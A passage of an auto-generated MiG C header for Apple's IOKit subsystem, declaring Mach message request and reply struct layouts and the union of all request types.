/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
uint32_t selector;
mach_msg_type_number_t inputCnt;
io_user_scalar_t input[16];
mach_msg_type_number_t inputStructCnt;
char inputStruct[4096];
} __Request__io_async_method_scalarI_structureI_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t wake_port;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
uint32_t selector;
mach_msg_type_number_t inputCnt;
char input[4096];
mach_msg_type_number_t outputCnt;
} __Request__io_async_method_structureI_structureO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t wake_port;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t notification_typeOffset; /* MiG doesn't use it */
mach_msg_type_number_t notification_typeCnt;
char notification_type[128];
mach_msg_type_number_t matchingOffset; /* MiG doesn't use it */
mach_msg_type_number_t matchingCnt;
char matching[512];
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
} __Request__io_service_add_notification_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t wake_port;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t type_of_interestOffset; /* MiG doesn't use it */
mach_msg_type_number_t type_of_interestCnt;
char type_of_interest[128];
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
} __Request__io_service_add_interest_notification_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
natural_t notify_ref;
natural_t response;
} __Request__io_service_acknowledge_notification_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
natural_t notification_type;
} __Request__io_connect_get_notification_semaphore_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t into_task;
/* end of the kernel processed data */
NDR_record_t NDR;
uint32_t memory_type;
vm_address_t address;
} __Request__io_connect_unmap_memory_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
} __Request__io_registry_entry_get_location_in_plane_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t property_nameCnt;
char property_name[128];
uint32_t options;
} __Request__io_registry_entry_get_property_recursively_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_service_get_state_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t matching;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t matchingCnt;
} __Request__io_service_get_matching_services_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t matching;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t matchingCnt;
} __Request__io_service_match_property_table_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t matching;
mach_msg_port_descriptor_t wake_port;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t notification_typeOffset; /* MiG doesn't use it */
mach_msg_type_number_t notification_typeCnt;
char notification_type[128];
mach_msg_type_number_t matchingCnt;
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
} __Request__io_service_add_notification_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t obj_nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t obj_nameCnt;
char obj_name[128];
} __Request__io_object_get_superclass_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t obj_nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t obj_nameCnt;
char obj_name[128];
} __Request__io_object_get_bundle_identifier_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t owningTask;
mach_msg_ool_descriptor_t properties;
/* end of the kernel processed data */
NDR_record_t NDR;
uint32_t connect_type;
NDR_record_t ndr;
mach_msg_type_number_t propertiesCnt;
} __Request__io_service_open_extended_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t into_task;
/* end of the kernel processed data */
NDR_record_t NDR;
uint32_t memory_type;
mach_vm_address_t address;
mach_vm_size_t size;
uint32_t flags;
} __Request__io_connect_map_memory_into_task_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t from_task;
/* end of the kernel processed data */
NDR_record_t NDR;
uint32_t memory_type;
mach_vm_address_t address;
} __Request__io_connect_unmap_memory_from_task_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t selector;
mach_msg_type_number_t scalar_inputCnt;
uint64_t scalar_input[16];
mach_msg_type_number_t inband_inputCnt;
char inband_input[4096];
mach_vm_address_t ool_input;
mach_vm_size_t ool_input_size;
mach_msg_type_number_t inband_outputCnt;
mach_msg_type_number_t scalar_outputCnt;
mach_vm_address_t ool_output;
mach_vm_size_t ool_output_size;
} __Request__io_connect_method_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t wake_port;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t referenceCnt;
uint64_t reference[8];
uint32_t selector;
mach_msg_type_number_t scalar_inputCnt;
uint64_t scalar_input[16];
mach_msg_type_number_t inband_inputCnt;
char inband_input[4096];
mach_vm_address_t ool_input;
mach_vm_size_t ool_input_size;
mach_msg_type_number_t inband_outputCnt;
mach_msg_type_number_t scalar_outputCnt;
mach_vm_address_t ool_output;
mach_vm_size_t ool_output_size;
} __Request__io_connect_async_method_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_registry_entry_get_registry_entry_id_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t selector;
mach_msg_type_number_t scalar_inputCnt;
uint64_t scalar_input[16];
mach_msg_type_number_t inband_inputCnt;
char inband_input[4096];
mach_vm_address_t ool_input;
mach_vm_size_t ool_input_size;
mach_msg_type_number_t inband_outputCnt;
mach_msg_type_number_t scalar_outputCnt;
} __Request__io_connect_method_var_output_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t matchingOffset; /* MiG doesn't use it */
mach_msg_type_number_t matchingCnt;
char matching[512];
} __Request__io_service_get_matching_service_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t matching;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t matchingCnt;
} __Request__io_service_get_matching_service_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_service_get_authorization_id_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint64_t authorization_id;
} __Request__io_service_set_authorization_id_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_server_version_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_registry_entry_get_properties_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t property_nameCnt;
char property_name[128];
uint32_t options;
} __Request__io_registry_entry_get_property_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t matchingCnt;
char matching[4096];
} __Request__io_service_get_matching_service_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t matchingCnt;
char matching[4096];
} __Request__io_service_get_matching_services_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t matchingCnt;
char matching[4096];
} __Request__io_service_match_property_table_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t wake_port;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t notification_typeOffset; /* MiG doesn't use it */
mach_msg_type_number_t notification_typeCnt;
char notification_type[128];
mach_msg_type_number_t matchingCnt;
char matching[4096];
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
} __Request__io_service_add_notification_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
} __Request__io_registry_entry_get_path_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t path_ool;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t pathOffset; /* MiG doesn't use it */
mach_msg_type_number_t pathCnt;
char path[4096];
mach_msg_type_number_t path_oolCnt;
} __Request__io_registry_entry_from_path_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#endif /* !__Request__iokit_subsystem__defined */
/* union of all requests */
#ifndef __RequestUnion__iokit_subsystem__defined
#define __RequestUnion__iokit_subsystem__defined
union __RequestUnion__iokit_subsystem {
__Request__io_object_get_class_t Request_io_object_get_class;
__Request__io_object_conforms_to_t Request_io_object_conforms_to;
__Request__io_iterator_next_t Request_io_iterator_next;
__Request__io_iterator_reset_t Request_io_iterator_reset;
__Request__io_service_get_matching_services_t Request_io_service_get_matching_services;
__Request__io_registry_entry_get_property_t Request_io_registry_entry_get_property;
__Request__io_registry_create_iterator_t Request_io_registry_create_iterator;
__Request__io_registry_iterator_enter_entry_t Request_io_registry_iterator_enter_entry;
__Request__io_registry_iterator_exit_entry_t Request_io_registry_iterator_exit_entry;
__Request__io_registry_entry_from_path_t Request_io_registry_entry_from_path;
__Request__io_registry_entry_get_name_t Request_io_registry_entry_get_name;
__Request__io_registry_entry_get_properties_t Request_io_registry_entry_get_properties;
__Request__io_registry_entry_get_property_bytes_t Request_io_registry_entry_get_property_bytes;
__Request__io_registry_entry_get_child_iterator_t Request_io_registry_entry_get_child_iterator;
__Request__io_registry_entry_get_parent_iterator_t Request_io_registry_entry_get_parent_iterator;
__Request__io_service_close_t Request_io_service_close;
__Request__io_connect_get_service_t Request_io_connect_get_service;
__Request__io_connect_set_notification_port_t Request_io_connect_set_notification_port;
__Request__io_connect_map_memory_t Request_io_connect_map_memory;
__Request__io_connect_add_client_t Request_io_connect_add_client;
__Request__io_connect_set_properties_t Request_io_connect_set_properties;
__Request__io_connect_method_scalarI_scalarO_t Request_io_connect_method_scalarI_scalarO;
__Request__io_connect_method_scalarI_structureO_t Request_io_connect_method_scalarI_structureO;
__Request__io_connect_method_scalarI_structureI_t Request_io_connect_method_scalarI_structureI;
__Request__io_connect_method_structureI_structureO_t Request_io_connect_method_structureI_structureO;
__Request__io_registry_entry_get_path_t Request_io_registry_entry_get_path;
__Request__io_registry_get_root_entry_t Request_io_registry_get_root_entry;
__Request__io_registry_entry_set_properties_t Request_io_registry_entry_set_properties;
__Request__io_registry_entry_in_plane_t Request_io_registry_entry_in_plane;
__Request__io_object_get_retain_count_t Request_io_object_get_retain_count;
__Request__io_service_get_busy_state_t Request_io_service_get_busy_state;
__Request__io_service_wait_quiet_t Request_io_service_wait_quiet;
__Request__io_registry_entry_create_iterator_t Request_io_registry_entry_create_iterator;
__Request__io_iterator_is_valid_t Request_io_iterator_is_valid;
__Request__io_catalog_send_data_t Request_io_catalog_send_data;
__Request__io_catalog_terminate_t Request_io_catalog_terminate;
__Request__io_catalog_get_data_t Request_io_catalog_get_data;
__Request__io_catalog_get_gen_count_t Request_io_catalog_get_gen_count;
__Request__io_catalog_module_loaded_t Request_io_catalog_module_loaded;
__Request__io_catalog_reset_t Request_io_catalog_reset;
__Request__io_service_request_probe_t Request_io_service_request_probe;
__Request__io_registry_entry_get_name_in_plane_t Request_io_registry_entry_get_name_in_plane;
__Request__io_service_match_property_table_t Request_io_service_match_property_table;
__Request__io_async_method_scalarI_scalarO_t Request_io_async_method_scalarI_scalarO;
__Request__io_async_method_scalarI_structureO_t Request_io_async_method_scalarI_structureO;
__Request__io_async_method_scalarI_structureI_t Request_io_async_method_scalarI_structureI;
__Request__io_async_method_structureI_structureO_t Request_io_async_method_structureI_structureO;
__Request__io_service_add_notification_t Request_io_service_add_notification;
__Request__io_service_add_interest_notification_t Request_io_service_add_interest_notification;
__Request__io_service_acknowledge_notification_t Request_io_service_acknowledge_notification;
__Request__io_connect_get_notification_semaphore_t Request_io_connect_get_notification_semaphore;
__Request__io_connect_unmap_memory_t Request_io_connect_unmap_memory;
__Request__io_registry_entry_get_location_in_plane_t Request_io_registry_entry_get_location_in_plane;
__Request__io_registry_entry_get_property_recursively_t Request_io_registry_entry_get_property_recursively;
__Request__io_service_get_state_t Request_io_service_get_state;
__Request__io_service_get_matching_services_ool_t Request_io_service_get_matching_services_ool;
__Request__io_service_match_property_table_ool_t Request_io_service_match_property_table_ool;
__Request__io_service_add_notification_ool_t Request_io_service_add_notification_ool;
__Request__io_object_get_superclass_t Request_io_object_get_superclass;
__Request__io_object_get_bundle_identifier_t Request_io_object_get_bundle_identifier;
__Request__io_service_open_extended_t Request_io_service_open_extended;
__Request__io_connect_map_memory_into_task_t Request_io_connect_map_memory_into_task;
__Request__io_connect_unmap_memory_from_task_t Request_io_connect_unmap_memory_from_task;
__Request__io_connect_method_t Request_io_connect_method;
__Request__io_connect_async_method_t Request_io_connect_async_method;
__Request__io_registry_entry_get_registry_entry_id_t Request_io_registry_entry_get_registry_entry_id;
__Request__io_connect_method_var_output_t Request_io_connect_method_var_output;
__Request__io_service_get_matching_service_t Request_io_service_get_matching_service;
__Request__io_service_get_matching_service_ool_t Request_io_service_get_matching_service_ool;
__Request__io_service_get_authorization_id_t Request_io_service_get_authorization_id;
__Request__io_service_set_authorization_id_t Request_io_service_set_authorization_id;
__Request__io_server_version_t Request_io_server_version;
__Request__io_registry_entry_get_properties_bin_t Request_io_registry_entry_get_properties_bin;
__Request__io_registry_entry_get_property_bin_t Request_io_registry_entry_get_property_bin;
__Request__io_service_get_matching_service_bin_t Request_io_service_get_matching_service_bin;
__Request__io_service_get_matching_services_bin_t Request_io_service_get_matching_services_bin;
__Request__io_service_match_property_table_bin_t Request_io_service_match_property_table_bin;
__Request__io_service_add_notification_bin_t Request_io_service_add_notification_bin;
__Request__io_registry_entry_get_path_ool_t Request_io_registry_entry_get_path_ool;
__Request__io_registry_entry_from_path_ool_t Request_io_registry_entry_from_path_ool;
};
#endif /* !__RequestUnion__iokit_subsystem__defined */
/* typedefs for all replies */
#ifndef __Reply__iokit_subsystem__defined
#define __Reply__iokit_subsystem__defined
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t classNameOffset; /* MiG doesn't use it */
mach_msg_type_number_t classNameCnt;
char className[128];
} __Reply__io_object_get_class_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
boolean_t conforms;
} __Reply__io_object_conforms_to_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t object;
/* end of the kernel processed data */
} __Reply__io_iterator_next_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_iterator_reset_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t existing;
/* end of the kernel processed data */
} __Reply__io_service_get_matching_services_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t properties;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t propertiesCnt;
} __Reply__io_registry_entry_get_property_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t iterator;
/* end of the kernel processed data */
} __Reply__io_registry_create_iterator_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_registry_iterator_enter_entry_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_registry_iterator_exit_entry_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t registry_entry;
/* end of the kernel processed data */
} __Reply__io_registry_entry_from_path_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t nameCnt;
char name[128];
} __Reply__io_registry_entry_get_name_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t properties;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t propertiesCnt;
} __Reply__io_registry_entry_get_properties_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t dataCnt;
char data[4096];
} __Reply__io_registry_entry_get_property_bytes_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t iterator;
/* end of the kernel processed data */
} __Reply__io_registry_entry_get_child_iterator_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t iterator;
/* end of the kernel processed data */
} __Reply__io_registry_entry_get_parent_iterator_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_service_close_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t service;
/* end of the kernel processed data */
} __Reply__io_connect_get_service_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_connect_set_notification_port_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
vm_address_t address;
vm_size_t size;
} __Reply__io_connect_map_memory_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_connect_add_client_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
kern_return_t result;
} __Reply__io_connect_set_properties_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t outputCnt;
io_user_scalar_t output[16];
} __Reply__io_connect_method_scalarI_scalarO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t outputCnt;
char output[4096];
} __Reply__io_connect_method_scalarI_structureO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_connect_method_scalarI_structureI_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t outputCnt;
char output[4096];
} __Reply__io_connect_method_structureI_structureO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t pathOffset; /* MiG doesn't use it */
mach_msg_type_number_t pathCnt;
char path[512];
} __Reply__io_registry_entry_get_path_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t root;
/* end of the kernel processed data */
} __Reply__io_registry_get_root_entry_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
kern_return_t result;
} __Reply__io_registry_entry_set_properties_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
boolean_t inPlane;
} __Reply__io_registry_entry_in_plane_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
uint32_t retainCount;
} __Reply__io_object_get_retain_count_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
uint32_t busyState;
} __Reply__io_service_get_busy_state_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_service_wait_quiet_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t iterator;
/* end of the kernel processed data */
} __Reply__io_registry_entry_create_iterator_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
boolean_t is_valid;
} __Reply__io_iterator_is_valid_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
